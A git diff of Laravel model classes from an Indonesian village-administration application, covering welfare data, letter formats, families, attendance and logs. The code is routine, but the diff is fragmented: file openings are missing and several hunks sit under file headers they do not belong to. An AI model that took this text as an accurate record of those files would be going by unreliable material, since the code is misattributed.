+ } + + /** + * Scope query untuk kategori dokumen + * + * @param Builder $query + * @param mixed $value + * + * @return Builder + */ + public function scopeKategori($query, $value = 1) + { + return $query->where('kategori', $value); + } +} diff --git a/app/Models/Dtks.php b/app/Models/Dtks.php index c2fb4545c..da6dbc878 100644 --- a/app/Models/Dtks.php +++ b/app/Models/Dtks.php @@ -1,361 +1,238 @@ - 'date:Y-m-d H:i:s', + 'updated_at' => 'date:Y-m-d H:i:s', + 'tanggal_pencacahan' => 'date:Y-m-d', + 'tanggal_pemeriksaan' => 'date:Y-m-d', + 'tanggal_pendataan' => 'date:Y-m-d', + ]; + // /** + // * The fillable with the model. + // * + // * @var array + // */ + // protected $fillable = [ + // 'versi_kuisioner', + // 'is_draft' + // ]; + + public function getVersiKuisionerNameAttribute() + { + return DtksEnum::VERSION_LIST[$this->attributes['versi_kuisioner']] ?? 'Tidak Ditemukan'; + } + + /** + * Define a one-to-one relationship. + * + * @return \Illuminate\Database\Eloquent\Relations\hasOne + */ + public function rtm() + { + return $this->hasOne(Rtm::class, 'id', 'id_rtm')->withoutGlobalScope('App\Scopes\ConfigIdScope'); + } + + public function keluarga() + { + return $this->hasOne(Keluarga::class, 'id', 'id_keluarga')->withoutGlobalScope('App\Scopes\ConfigIdScope'); + } + + public function getKeluargaInRTMAttribute() + { + $this->loadMissing([ + 'rtm.anggota' => static function ($builder) { + // override all items within the $with property in Penduduk + $builder->withOnly('keluarga')->withoutGlobalScope('App\Scopes\ConfigIdScope'); + // hanya ambil data anggota yg masih hidup (tweb_penduduk) + $builder->where('status_dasar', 1); + }, + ]); + + return $this->rtm->anggota->pluck('keluarga')->unique(); + } + + public function getAnggotaKeluargaInRTMAttribute() + { + $this->loadMissing([ + 'rtm.anggota' => static function ($builder) { + // override all items within the $with property in Penduduk + $builder->without([ + 'jenisKelamin', + 'agama', + 'pendidikan', + 'pendidikanKK', + 'pekerjaan', + 'wargaNegara', + 'golonganDarah', + 'cacat', + 'statusKawin', + 'pendudukStatus', + 'wilayah', + ]); + // hanya ambil data anggota yg masih hidup (tweb_penduduk) + $builder->where('status_dasar', 1); + }, + ]); + + return $this->rtm->anggota->groupBy('id_kk'); + } + + public function getKepalaRumahTanggaAttribute() + { + $this->loadMissing([ + 'rtm.kepalaKeluarga', + ]); + + return $this->rtm->kepalaKeluarga; + } + + public function getKepalaKeluargaAttribute() + { + $this->loadMissing([ + 'keluarga.kepalaKeluarga', + ]); + + return $this->keluarga->kepalaKeluarga; + } + + public function getKepalaKeluargaDTKSAttribute() + { + $this->loadMissing([ + 'keluarga.kepalaKeluarga', + 'dtksAnggota', + ]); + + return $this->dtksAnggota->where('id_penduduk', $this->keluarga->kepalaKeluarga->id)->first(); + } + + public function getJumlahAnggotaDTKSAttribute() + { + $this->loadMissing('dtksAnggota'); + + return $this->dtksAnggota->count(); + } + + public function getNikKKAttribute() + { + $this->loadMissing([ + 'keluarga.kepalaKeluarga' => static function ($builder) { + // override all items within the $with property in Penduduk + $builder->withoutRelations(); + }, + ]); + + return $this->keluarga->kepalaKeluarga->nik; + } + + public function getNikKrtAttribute() + { + $this->loadMissing([ + 'rtm.kepalaKeluarga' => static function ($builder) { + // override all items within the $with property in Penduduk + $builder->withoutRelations(); + }, + ]); + + return $this->rtm->kepalaKeluarga->nik; + } + + public function getAlamatAttribute() + { + $this->loadMissing([ + 'rtm.kepalaKeluarga' => static function ($builder) { + // override all items within the $with property in Penduduk + $builder->withoutRelations(); + }, + ]); + + return $this->rtm->kepalaKeluarga->alamat_wilayah; + } + + public function getJumlahKeluargaAttribute() + { + return $this->getNoKKArtAttribute()->count(); + } + + public function getNoKKAttribute() + { + return $this->getKepalaKeluargaAttribute()->keluarga->no_kk; + } + + public function getNoKkArtAttribute() + { + return $this->getKeluargaInRTMAttribute()->pluck('no_kk'); + } + + public function dtksAnggota() + { + return $this->hasMany(DtksAnggota::class, 'id_dtks')->withoutGlobalScope('App\Scopes\ConfigIdScope'); + } + + public function lampiran() + { + return $this->belongsToMany(DtksLampiran::class, 'dtks_ref_lampiran', 'id_dtks', 'id_lampiran')->withoutGlobalScope('App\Scopes\ConfigIdScope'); + } +} diff --git a/app/Models/DtksAnggota.php b/app/Models/DtksAnggota.php index e915944d5..543bcf19b 100644 --- a/app/Models/DtksAnggota.php +++ b/app/Models/DtksAnggota.php @@ -1,417 +1,94 @@ - 'date:Y-m-d', + 'created_at' => 'date:Y-m-d H:i:s', + 'updated_at' => 'date:Y-m-d H:i:s', + ]; + + /** + * All of the relationships to be touched. + * + * @var array + */ + protected $touches = ['dtks']; + + /** + * Define a one-to-one relationship. + * + * @return \Illuminate\Database\Eloquent\Relations\hasOne + */ + public function dtks() + { + return $this->belongsTo(Dtks::class, 'id_dtks', 'id')->withoutGlobalScope('App\Scopes\ConfigIdScope'); + } + + public function penduduk() + { + return $this->belongsTo(Penduduk::class, 'id_penduduk', 'id')->withoutGlobalScope('App\Scopes\ConfigIdScope'); + } + + public function getUmurAttribute() + { + return $this->penduduk->umur; + } +} diff --git a/app/Models/DtksLampiran.php b/app/Models/DtksLampiran.php index a72674053..a87c12b72 100644 --- a/app/Models/DtksLampiran.php +++ b/app/Models/DtksLampiran.php @@ -1,425 +1,88 @@ -attributes['foto']; + if (! file_exists(FCPATH . $path)) { + return ''; + } + + return base_url() . $path; + } + + public function dtks() + { + return $this->belongsToMany(Dtks::class, 'dtks_ref_lampiran', 'id_lampiran', 'id_dtks')->withoutGlobalScope('App\Scopes\ConfigIdScope'); + } +} diff --git a/app/Models/DtksPengaturanProgram.php b/app/Models/DtksPengaturanProgram.php index 3e2c230f1..ed0fb5aa0 100644 --- a/app/Models/DtksPengaturanProgram.php +++ b/app/Models/DtksPengaturanProgram.php @@ -1,497 +1,82 @@ - 'date:Y-m-d H:i:s', + 'updated_at' => 'date:Y-m-d H:i:s', + ]; + + /** + * Define a one-to-one relationship. + * + * @return \Illuminate\Database\Eloquent\Relations\hasOne + */ + public function bantuan() + { + return $this->belongsTo(Bantuan::class, 'id_bantuan', 'id')->withoutGlobalScope('App\Scopes\ConfigIdScope'); + } + + public function getVersiKuisionerNameAttribute() + { + return DtksEnum::VERSION_LIST[$this->attributes['versi_kuisioner']]; + } +} diff --git a/app/Models/FormatSurat.php b/app/Models/FormatSurat.php index b1c8f2d54..abdd6d416 100644 --- a/app/Models/FormatSurat.php +++ b/app/Models/FormatSurat.php @@ -1,417 +1,489 @@ - 'Hari', + 'w' => 'Minggu', + 'M' => 'Bulan', + 'y' => 'Tahun', + ]; + + /** + * Static data jenis surat. + * + * @var array + */ + public const JENIS_SURAT = [ + self::RTF_SISTEM => 'Surat Sistem RTF', + self::RTF_DESA => 'Surat [Desa] RTF', + self::TINYMCE_SISTEM => 'Surat Sistem TinyMCE', + self::TINYMCE_DESA => 'Surat [Desa] TinyMCE', + ]; + + /** + * Static data margin surat. + * + * @var array + */ + public const MARGINS = [ + 'kiri' => 1.78, + 'atas' => 0.63, + 'kanan' => 1.78, + 'bawah' => 1.37, + ]; + + /** + * Static data orientation surat. + * + * @var array + */ + public const ORIENTATAIONS = [ + 'Potrait', + 'Lanscape', + ]; + + /** + * Static data Size surat. + * + * @var array + */ + public const SIZES = [ + 'A1', + 'A2', + 'A3', + 'A4', + 'A5', + 'A6', + 'F4', + ]; + + /** + * Static data atribut surat. + * + * @var array + */ + public const ATTRIBUTES = [ + 'text' => 'Input Teks', + 'number' => 'Input Angka', + 'email' => 'Input Email', + 'url' => 'Input Url', + 'date' => 'Input Tanggal', + 'time' => 'Input Jam', + 'textarea' => 'Text Area', + 'select-manual' => 'Select (Manual)', + 'select-otomatis' => 'Select (Otomatis)', + 'hari' => 'Input Hari', + 'hari-tanggal' => 'Input Hari dan Tanggal', + ]; + + /** + * {@inheritDoc} + */ + protected $table = 'tweb_surat_format'; + + /** + * The fillable with the model. + * + * @var array + */ + protected $fillable = [ + 'nama', + 'url_surat', + 'kode_surat', + 'lampiran', + 'kunci', + 'favorit', + 'jenis', + 'mandiri', + 'masa_berlaku', + 'satuan_masa_berlaku', + 'qr_code', + 'logo_garuda', + 'kecamatan', + 'syarat_surat', + 'template', + 'template_desa', + 'form_isian', + 'kode_isian', + 'orientasi', + 'ukuran', + 'margin', + 'margin_global', + 'header', + 'footer', + 'format_nomor', + 'created_by', + 'updated_by', + ]; + + /** + * The fillable with the model. + * + * @var array + */ + protected $appends = [ + 'judul_surat', + 'margin_cm_to_mm', + 'url_surat_sistem', + 'url_surat_desa', + ]; + + /** + * The attributes that should be cast. + * + * @var array + */ + protected $casts = [ + 'masa_berlaku' => 'integer', + 'kunci' => 'boolean', + 'favorit' => 'boolean', + 'mandiri' => 'boolean', + 'qr_code' => 'boolean', + 'logo_garuda' => 'boolean', + // 'syarat_surat' => 'json', + // 'kode_isian' => 'json', + // 'margin' => 'json', + ]; + + /** + * Define a many-to-many relationship. + * + * @return \Illuminate\Database\Eloquent\Relations\BelongsToMany + */ + public function syaratSurat() + { + return $this->belongsToMany(SyaratSurat::class, 'syarat_surat', 'surat_format_id', 'ref_syarat_id'); + } + + /** + * Scope query untuk layanan mandiri. + * + * @param Builder $query + * + * @return Builder + */ + public function scopeMandiri($query) + { + return $query->where('mandiri', static::MANDIRI); + } + + /** + * Scope query untuk list surat yang tidak dikunci. + * + * @param Builder $query + * + * @return Builder + */ + // public function scopeKunci($query) + // { + // return $query->where('kunci', static::KUNCI_DISABLE); + // } + + /** + * Getter list surat dan dokumen attribute. + * + * @return array + */ + public function getListSyaratSuratAttribute() + { + return $this->syaratSurat->map( + static function ($syarat) { + return [ + 'label' => $syarat->ref_syarat_nama, + 'value' => $syarat->ref_syarat_id, + 'form_surat' => [ + [ + 'type' => 'select', + 'required' => true, + 'label' => 'Dokumen Syarat', + 'name' => 'dokumen', + 'multiple' => false, + 'values' => $syarat->dokumen->map(static function ($dokumen) { + return [ + 'label' => $dokumen->nama, + 'value' => $dokumen->id, + ]; + }), + ], + ], + ]; + } + ); + } + + /** + * Getter form surat attribute. + * + * @return mixed + */ + public function getFormSuratAttribute() + { + // try { + // return app('surat')->driver($this->url_surat)->form(); + // } catch (Exception $e) { + // Log::error($e); + + // return null; + // } + } + + /** + * Setter untuk url_surat. + * + * @return void + */ + // public function setUrlSuratAttribute() + // { + // $this->attributes['url_surat'] = 'surat_' . strtolower(str_replace([' ', '-'], '_', $this->attributes['nama'])); + // } + + /** + * Getter untuk lokasi_surat + * + * @return string + */ + public function getLokasiSuratAttribute() + { + return LOKASI_SURAT_DESA . $this->url_surat; + } + + /** + * Getter untuk judul_surat + * + * @return string + */ + public function getJudulSuratAttribute() + { + return 'Surat ' . $this->nama; + } + + /** + * Getter untuk kode_isian + * + * @return string + */ + public function getKodeIsianAttribute() + { + if (in_array($this->jenis, self::RTF)) { + return kode_isian($this->url_surat); + } + + $kode_isian = json_decode($this->attributes['kode_isian']); + $non_warga = json_decode(TinyMCE::getKodeIsianNonWarga()); + if ($this->getFormIsianAttribute()->data == '2') { + if (null !== $kode_isian) { + return [...$non_warga, ...$kode_isian]; + } + + return $non_warga; + } + + return $kode_isian; + } + + /** + * Getter untuk form_isian + * + * @return mixed + */ + public function getFormIsianAttribute() + { + if (in_array($this->jenis, self::RTF)) { + return null; + } + + return json_decode($this->attributes['form_isian']); + } + + /** + * Getter untuk judul_surat + * + * @return string + */ + public function getMarginCmToMmAttribute() + { + $margin = json_decode($this->margin); + + return [ + $margin->kiri * 10, + $margin->atas * 10, + $margin->kanan * 10, + $margin->bawah * 10, + ]; + } + + /** + * Getter untuk url surat sistem + * + * @return string + */ + public function getUrlSuratSistemAttribute() + { + $surat_export_desa = LOKASI_SURAT_SISTEM . $this->url_surat . '/' . $this->url_surat . '.rtf'; + + if (in_array($this->jenis, ['1', '2']) && is_file($surat_export_desa)) { + return $surat_export_desa; + } + + return null; + } + + /** + * Getter untuk url surat desa + * + * @return string + */ + public function getUrlSuratDesaAttribute() + { + $surat_export_desa = LOKASI_SURAT_DESA . $this->url_surat . '/' . $this->url_surat . '.rtf'; + + if (in_array($this->jenis, ['1', '2']) && is_file($surat_export_desa)) { + return $surat_export_desa; + } + + return null; + } + + /** + * Scope query untuk IsExist + * + * @param mixed $query + * @param mixed $value + * + * @return Builder + */ + public function scopeIsExist($query, $value) + { + return $query->where('url_surat', $value)->exists(); + } + + /** + * Scope query untuk Kunci Surat + * + * @param mixed $query + * @param mixed $value + * + * @return Builder + */ + public function scopeKunci($query, $value = self::KUNCI) + { + return $query->where('kunci', $value); + } + + /** + * Scope query untuk Favorit Surat + * + * @param mixed $query + * @param mixed $value + * + * @return Builder + */ + public function scopeFavorit($query, $value = self::FAVORIT) + { + return $query->where('favorit', $value); + } + + /** + * Scope query untuk Jenis Surat + * + * @param mixed $query + * @param mixed $value + * + * @return Builder + */ + public function scopeJenis($query, $value) + { + if (empty($value)) { + return $query->whereNotNull('jenis'); + } + + if (is_array($value)) { + return $query->whereIn('jenis', $value); + } + + return $query->where('jenis', $value); + } + + /** + * Scope query untuk layanan mandiri. + * + * @param Builder $query + * @param mixed|null $url + * + * @return Builder + */ + public function scopeCetak($query, $url = null) + { + return $this->scopeKunci($query, self::KUNCI_DISABLE)->where('url_surat', $url); + } +} diff --git a/app/Models/Galery.php b/app/Models/Galery.php index 057a1f67b..94b832fe2 100644 --- a/app/Models/Galery.php +++ b/app/Models/Galery.php @@ -1,377 +1,87 @@ -hasMany(self::class, 'parrent'); + } + + public function getUrlGambarAttribute() + { + // try { + // return Storage::disk('ftp')->exists("desa/upload/galeri/kecil_{$this->gambar}") + // ? Storage::disk('ftp')->url("desa/upload/galeri/kecil_{$this->gambar}") + // : null; + // } catch (Exception $e) { + // Log::error($e); + // } + } +} diff --git a/app/Models/Garis.php b/app/Models/Garis.php index e4924f947..fc74f4f36 100644 --- a/app/Models/Garis.php +++ b/app/Models/Garis.php @@ -1,369 +1,111 @@ -attributes['foto']; + + if (file_exists(FCPATH . $foto)) { + return $foto; + } + + return null; + } + + /** + * Getter untuk foto sedang. + * + * @return string + */ + public function getFotoSedangAttribute() + { + $foto = LOKASI_FOTO_GARIS . 'sedang_' . $this->attributes['foto']; + + if (file_exists(FCPATH . $foto)) { + return $foto; + } + + return null; + } +} diff --git a/app/Models/GolonganDarah.php b/app/Models/GolonganDarah.php index 12b60b628..d58f880b8 100644 --- a/app/Models/GolonganDarah.php +++ b/app/Models/GolonganDarah.php @@ -1,433 +1,48 @@ -hasMany(AnggotaGrup::class, 'id_grup', 'id_grup'); + } +} diff --git a/app/Models/HariLibur.php b/app/Models/HariLibur.php index ec59677c1..2047bf319 100644 --- a/app/Models/HariLibur.php +++ b/app/Models/HariLibur.php @@ -1,401 +1,71 @@ -hasOne(GrupKontak::class, 'id_grup', 'id_grup'); + } + + /** + * Define a one-to-one relationship. + * + * @return \Illuminate\Database\Eloquent\Relations\hasOne + */ + public function createdBy() + { + return $this->hasOne(User::class, 'id', 'created_by'); + } + + /** + * Define a one-to-one relationship. + * + * @return \Illuminate\Database\Eloquent\Relations\hasOne + */ + public function updatedBy() + { + return $this->hasOne(User::class, 'id', 'updated_by'); + } +} diff --git a/app/Models/IbuHamil.php b/app/Models/IbuHamil.php index d202ec2f6..b1caed0fa 100644 --- a/app/Models/IbuHamil.php +++ b/app/Models/IbuHamil.php @@ -1,393 +1,113 @@ - 1, + 'simbol' => 'N', + 'nama' => 'Normal (N)', + ], + [ + 'id' => 2, + 'simbol' => 'Risti', + 'nama' => 'Risiko Tinggi (Risti)', + ], + [ + 'id' => 3, + 'simbol' => 'KEK', + 'nama' => 'Kekurangan Energi Kronis (KEK)', + ], + ]; + + /** + * The table associated with the model. + * + * @var string + */ + protected $table = 'ibu_hamil'; + + /** + * The table update parameter. + * + * @var string + */ + public $primaryKey = 'id_ibu_hamil'; + + /** + * The guarded with the model. + * + * @var array + */ + protected $guarded = []; + + public function kia() + { + return $this->belongsTo(KIA::class, 'kia_id'); + } + + public function scopeFilter($query, array $filters) + { + if (! empty($filters['bulan'])) { + $query->whereMonth('ibu_hamil.created_at', $filters['bulan']); + } + + if (! empty($filters['tahun'])) { + $query->whereYear('ibu_hamil.created_at', $filters['tahun']); + } + + if (! empty($filters['posyandu'])) { + $query->where('posyandu_id', $filters['posyandu']); + } + + return $query; + } +} diff --git a/app/Models/InventarisAsset.php b/app/Models/InventarisAsset.php index 1c6da9eec..f1b9f0f62 100644 --- a/app/Models/InventarisAsset.php +++ b/app/Models/InventarisAsset.php @@ -1,449 +1,61 @@ - 'boolean', + ]; + + public function scopeLibur($query) + { + return $query->where('status', 0)->where('nama_hari', $this->getNamaHari()); + } + + public function scopeJamKerja($query) + { + $waktu = date('H:i'); + $rentang = setting('rentang_waktu_kehadiran') ?? SettingAplikasi::RENTANG_WAKTU_KEHADIRAN; + + return $query + ->selectRaw('id, nama_hari, jam_masuk, status, keterangan') + ->selectRaw(sprintf('date_add(jam_keluar, interval %s minute) as jam_keluar', $rentang)) + ->where('nama_hari', $this->getNamaHari()) + ->where(static function ($q) use ($waktu) { + $q->whereTime('jam_masuk', '>', $waktu) + ->orWhereRaw('date_add(jam_keluar, interval ? minute) < ?', [$rentang, $waktu]); + }); + } + + protected function getNamaHari() + { + return Carbon::now()->dayName; + } +} diff --git a/app/Models/KB.php b/app/Models/KB.php index 032a8906c..33fcedd34 100644 --- a/app/Models/KB.php +++ b/app/Models/KB.php @@ -1,345 +1,62 @@ -belongsTo(Penduduk::class, 'ibu_id'); + } + + public function anak() + { + return $this->belongsTo(Penduduk::class, 'anak_id'); + } + + /** + * Define a one-to-many relationship. + * + * @return \Illuminate\Database\Eloquent\Relations\HasOne + */ + public function ibuHamil() + { + return $this->hasOne(IbuHamil::class, 'kia_id'); + } + + /** + * Define a one-to-many relationship. + * + * @return \Illuminate\Database\Eloquent\Relations\HasOne + */ + public function bulananAnak() + { + return $this->hasOne(Anak::class, 'kia_id'); + } +} diff --git a/app/Models/Kategori.php b/app/Models/Kategori.php index e07f0f441..bf02396af 100644 --- a/app/Models/Kategori.php +++ b/app/Models/Kategori.php @@ -1,393 +1,78 @@ -where('enabled', static::ENABLE); + } + + /** + * Scope config_id, dipisah untuk kebutuhan OpenKab. + * + * @param mixed $query + * + * @return Builder + */ + public function scopeConfigId($query) + { + return $query->where('config_id', identitas('id'))->orWhereNull('config_id'); + } +} diff --git a/app/Models/Kehadiran.php b/app/Models/Kehadiran.php index 506946f6a..2248f6def 100644 --- a/app/Models/Kehadiran.php +++ b/app/Models/Kehadiran.php @@ -1,401 +1,117 @@ -belongsTo(Pamong::class, 'pamong_id', 'pamong_id'); + } + + public function scopeLupaAbsen($query, $tanggal) + { + $jam = JamKerja::where('nama_hari', Carbon::createFromFormat('Y-m-d', $tanggal)->dayName)->first('jam_keluar'); + + return $query->where('tanggal', $tanggal) + ->where('status_kehadiran', 'hadir') + ->where('jam_keluar', null) + ->take(1) + ->update([ + 'jam_keluar' => $jam->jam_keluar, + 'status_kehadiran' => 'lupa melapor keluar', + ]); + } + + public function scopeFilter($query, array $filters) + { + if (! empty($filters['tanggal'])) { + [$awal, $akhir] = explode(' - ', $filters['tanggal']); + $query->whereBetween('tanggal', [$awal, $akhir]); + } + + if (! empty($filters['status'])) { + $query->where('status_kehadiran', $filters['status']); + } + + if (! empty($filters['pamong'])) { + $query->where('pamong_id', $filters['pamong']); + } + + return $query; + } +} diff --git a/app/Models/KehadiranPengaduan.php b/app/Models/KehadiranPengaduan.php index 81af162cc..af02ac8ae 100644 --- a/app/Models/KehadiranPengaduan.php +++ b/app/Models/KehadiranPengaduan.php @@ -1,473 +1,93 @@ - 'boolean', + ]; + + public function pamong() + { + return $this->belongsTo(Pamong::class, 'id_pamong'); + } + + public function mandiri() + { + return $this->belongsTo(PendudukMandiri::class, 'id_penduduk'); + } +} diff --git a/app/Models/Kelompok.php b/app/Models/Kelompok.php index fa068935c..5d62cfa15 100644 --- a/app/Models/Kelompok.php +++ b/app/Models/Kelompok.php @@ -1,393 +1,106 @@ -hasOne(Penduduk::class, 'id', 'id_ketua'); + } + + /** + * Scope query untuk status kelompok + * + * @param mixed $query + * @param mixed $status + * + * @return Builder + */ + public function scopeStatus($query, $status = 1) + { + return $query->whereHas('ketua', static function ($q) use ($status) { + $q->status($status); + }); + } + + /** + * Scope query untuk tipe kelompok + * + * @param mixed $query + * @param mixed $tipe + * + * @return Builder + */ + public function scopeTipe($query, $tipe = 'kelompok') + { + return $query->where('tipe', $tipe); + } +} diff --git a/app/Models/KelompokAnggota.php b/app/Models/KelompokAnggota.php index d55be75d1..17c4d6ea1 100644 --- a/app/Models/KelompokAnggota.php +++ b/app/Models/KelompokAnggota.php @@ -1,449 +1,77 @@ -where('tipe', $tipe); + } +} diff --git a/app/Models/Keluarga.php b/app/Models/Keluarga.php index 720bf70ca..a05d170be 100644 --- a/app/Models/Keluarga.php +++ b/app/Models/Keluarga.php @@ -1,393 +1,137 @@ -hasOne(Penduduk::class, 'id', 'nik_kepala')->withoutGlobalScope('App\Scopes\ConfigIdScope'); + } + + /** + * Define a one-to-many relationship. + * + * @return HasMany + */ + public function anggota() + { + return $this->hasMany(Penduduk::class, 'id_kk') + ->orderBy('kk_level') + ->orderBy('tanggallahir') + ->withoutGlobalScope('App\Scopes\ConfigIdScope'); + } + + /** + * Define an inverse one-to-one or many relationship. + * + * @return BelongsTo + */ + public function Wilayah() + { + return $this->belongsTo(Wilayah::class, 'id_cluster')->withoutGlobalScope('App\Scopes\ConfigIdScope'); + } + + public function LogKeluarga() + { + return $this->hasMany(LogKeluarga::class, 'id_kk', 'id')->withoutGlobalScope('App\Scopes\ConfigIdScope'); + } + + /** + * Scope query untuk status keluarga + * + * @return Builder + */ + public function scopeStatus() + { + return static::whereHas('kepalaKeluarga', static function ($query) { + $query->status()->where('kk_level', '1'); + }); + } + + protected static function nomerKKSementara() + { + // buat jadi orm laravel + $digit = self::selectRaw('RIGHT(no_kk, 5) as digit') + ->where('no_kk', 'like', '0' . identitas('kode_desa') . '%') + ->where('no_kk', '!=', '0') + ->orderByRaw('RIGHT(no_kk, 5) DESC') + ->first()->digit ?? 0; + + return (int) $digit + 1; + } +} diff --git a/app/Models/KeuanganManualRinci.php b/app/Models/KeuanganManualRinci.php index 09ad64a71..3d0960c2c 100644 --- a/app/Models/KeuanganManualRinci.php +++ b/app/Models/KeuanganManualRinci.php @@ -1,481 +1,83 @@ - 'boolean', + ]; + + /** + * Scope query untuk enabled + * + * @param Builder $query + * @param mixed $value + * + * @return Builder + */ + public function scopeEnabled($query, $value = 1) + { + return $query->where('enabled', $value); + } +} diff --git a/app/Models/Komentar.php b/app/Models/Komentar.php index 5a5b614bd..9a9f2173d 100644 --- a/app/Models/Komentar.php +++ b/app/Models/Komentar.php @@ -1,393 +1,132 @@ - self::NOT_IN_ARTIKEL, + ]; + + /** + * The attributes that are mass assignable. + * + * @var array + */ + protected $fillable = ['email', 'owner', 'subjek', 'komentar', 'tipe', 'status', 'id_artikel']; + + /** + * Scope a query to only enable category. + * + * @param Builder $query + * + * @return Builder + */ + public function scopeEnable($query) + { + return $query->where('status', static::ACTIVE); + } + + /** + * Scope query untuk tipe pesan masuk. + * + * @param Builder $query + * @param string $tipe + * + * @return Builder + */ + public function scopeTipePesan($query, string $type) + { + $tipePesan = $type === 'masuk' + ? self::TIPE_MASUK + : self::TIPE_KELUAR; + + return $query->where('tipe', $tipePesan); + } + + /** + * Scope query untuk tipe pesan masuk. + * + * @param Builder $query + * + * @return Builder + */ + public function scopePesanPengguna($query) + { + // return $query->where('email', auth('jwt')->user()->penduduk->nik); + } +} diff --git a/app/Models/LogBackup.php b/app/Models/LogBackup.php index 5051e62fb..68657090f 100644 --- a/app/Models/LogBackup.php +++ b/app/Models/LogBackup.php @@ -1,401 +1,86 @@ - 'datetime:Y-m-d H:i:s', + 'updated_at' => 'datetime:Y-m-d H:i:s', + 'downloaded_at' => 'datetime:Y-m-d H:i:s', + ]; +} diff --git a/app/Models/LogKeluarga.php b/app/Models/LogKeluarga.php index 9963b3fb6..db969ca4f 100644 --- a/app/Models/LogKeluarga.php +++ b/app/Models/LogKeluarga.php @@ -1,417 +1,98 @@ -belongsTo(Keluarga::class, 'id_kk', 'id')->withoutGlobalScope('App\Scopes\ConfigIdScope'); + } +} diff --git a/app/Models/LogPenduduk.php b/app/Models/LogPenduduk.php index 084a4fedb..90f18b0fc 100644 --- a/app/Models/LogPenduduk.php +++ b/app/Models/LogPenduduk.php @@ -1,417 +1,138 @@ - 'Dokter', + 2 => 'Tenaga Kesehatan', + 3 => 'Kepolisian', + 4 => 'Lainnya', + ]; + + /** + * Static data penyebab kematian. + * + * @var array + */ + public const PENYEBAB_KEMATIAN = [ + 1 => 'Sakit biasa / tua', + 2 => 'Wabah Penyakit', + 3 => 'Kecelakaan', + 4 => 'Kriminalitas', + 5 => 'Bunuh Diri', + 6 => 'Lainnya', + ]; + + /** + * The table associated with the model. + * + * @var string + */ + protected $table = 'log_penduduk'; + + /** + * The guarded with the model. + * + * @var array + */ + protected $guarded = []; + + protected $casts = [ + 'tgl_lapor' => 'datetime:Y-m-d', + 'tgl_peristiwa' => 'datetime:Y-m-d', + ]; + + /** + * Get the post that owns the comment. + */ + public function penduduk() + { + return $this->belongsTo(Penduduk::class, 'id_pend', 'id'); + } + + /** + * Getter penolong mati. + * + * @return string + */ + public function getYangMenerangkanAttribute() + { + return static::PENOLONG_MATI[$this->penolong_mati] ?? ''; + } + + /** + * Getter penolong mati. + * + * @return string + */ + public function getPenyebabKematianAttribute() + { + return static::PENYEBAB_KEMATIAN[$this->sebab] ?? ''; + } +} diff --git a/app/Models/LogPerubahanPenduduk.php b/app/Models/LogPerubahanPenduduk.php index 20a51bd94..25f63f75c 100644 --- a/app/Models/LogPerubahanPenduduk.php +++ b/app/Models/LogPerubahanPenduduk.php @@ -1,489 +1,84 @@ - 'datetime:Y-m-d H:i:s', + ]; + + /** + * The timestamps for the model. + * + * @var bool + */ + public $timestamps = false; + + /** + * The relations to eager load on every query. + * + * @var array + */ + protected $with = ['penduduk']; + + public function penduduk() + { + return $this->hasOne(Penduduk::class, 'id', 'id_pend'); + } +} diff --git a/app/Models/LogRestoreDesa.php b/app/Models/LogRestoreDesa.php index f5d6736cd..fc2d98be9 100644 --- a/app/Models/LogRestoreDesa.php +++ b/app/Models/LogRestoreDesa.php @@ -1,441 +1,63 @@ - 'boolean', + ]; + + public function formatSurat() + { + return $this->belongsTo(FormatSurat::class, 'id_format_surat'); + } + + public function penduduk() + { + return $this->belongsTo(Penduduk::class, 'id_pend'); + } + + public function pamong() + { + return $this->belongsTo(Pamong::class, 'id_pamong'); + } + + public function tolak() + { + return $this->hasMany(LogTolak::class, 'id_surat'); + } + + /** + * Scope query untuk pengguna. + * + * @param Builder $query + * + * @return Builder + */ + public function scopePengguna($query) + { + // return $query->where('id_pend', auth('jwt')->user()->penduduk->id); + } + + /** + * Scope query untuk Status LogSurat + * + * @param mixed $query + * @param mixed $value + * + * @return Builder + */ + public function scopeStatus($query, $value = 1) + { + return $query->where('status', $value); + } + + public function getFormatPenomoranSuratAttribute() + { + $thn = $this->tahun ?? date('Y'); + $bln = $this->bulan ?? date('m'); + $format_nomor_surat = ($this->formatSurat->format_nomor == '') ? setting('format_nomor_surat') : $this->formatSurat->format_nomor; + + $format_nomor_surat = str_replace('[nomor_surat]', "{$this->no_surat}", $format_nomor_surat); + $array_replace = [ + '[kode_surat]' => $this->formatSurat->kode_surat, + '[tahun]' => $thn, + '[bulan_romawi]' => bulan_romawi((int) $bln), + '[kode_desa]' => identitas()->kode_desa, + ]; + + return str_replace(array_keys($array_replace), array_values($array_replace), $format_nomor_surat); + } + + public function getFileSuratAttribute() + { + if ($this->lampiran != null) { + return FCPATH . LOKASI_ARSIP . pathinfo($this->nama_surat, PATHINFO_FILENAME); + } + } +} diff --git a/app/Models/LogTolak.php b/app/Models/LogTolak.php index e68578789..c2b336246 100644 --- a/app/Models/LogTolak.php +++ b/app/Models/LogTolak.php @@ -1,393 +1,61 @@ -attributes['foto']; + + if (file_exists(FCPATH . $foto)) { + return $foto; + } + + return null; + } + + /** + * Getter untuk foto sedang. + * + * @return string + */ + public function getFotoSedangAttribute() + { + $foto = LOKASI_FOTO_LOKASI . 'sedang_' . $this->attributes['foto']; + + if (file_exists(FCPATH . $foto)) { + return $foto; + } + + return null; + } +} diff --git a/app/Models/MediaSosial.php b/app/Models/MediaSosial.php index 9d2c5e814..90235404c 100644 --- a/app/Models/MediaSosial.php +++ b/app/Models/MediaSosial.php @@ -1,417 +1,75 @@ - 'json', + ]; +} diff --git a/app/Models/Modul.php b/app/Models/Modul.php index 4941dde54..d137f124f 100644 --- a/app/Models/Modul.php +++ b/app/Models/Modul.php @@ -1,369 +1,90 @@ - 'boolean', + ]; + + /** + * Scope query untuk aktif + * + * @param Builder $query + * @param mixed $value + * + * @return Builder + */ + public function scopeStatus($query, $value = 1) + { + return $query->where('aktif', $value); + } +} diff --git a/app/Models/Pamong.php b/app/Models/Pamong.php index db67014bd..a37d68b54 100644 --- a/app/Models/Pamong.php +++ b/app/Models/Pamong.php @@ -1,377 +1,289 @@ -hasOne(Penduduk::class, 'id', 'id_pend')->withoutGlobalScope('App\Scopes\ConfigIdScope'); + } + + /** + * Define a one-to-one relationship. + * + * @return \Illuminate\Database\Eloquent\Relations\hasMany + */ + public function jabatan() + { + return $this->hasOne(RefJabatan::class, 'id', 'jabatan_id'); + } + + /** + * Define a one-to-many relationship. + * + * @return \Illuminate\Database\Eloquent\Relations\hasMany + */ + public function kehadiran() + { + return $this->hasMany(Kehadiran::class, 'pamong_id', 'pamong_id'); + } + + public function scopeSelectData($query) + { + $new_query = 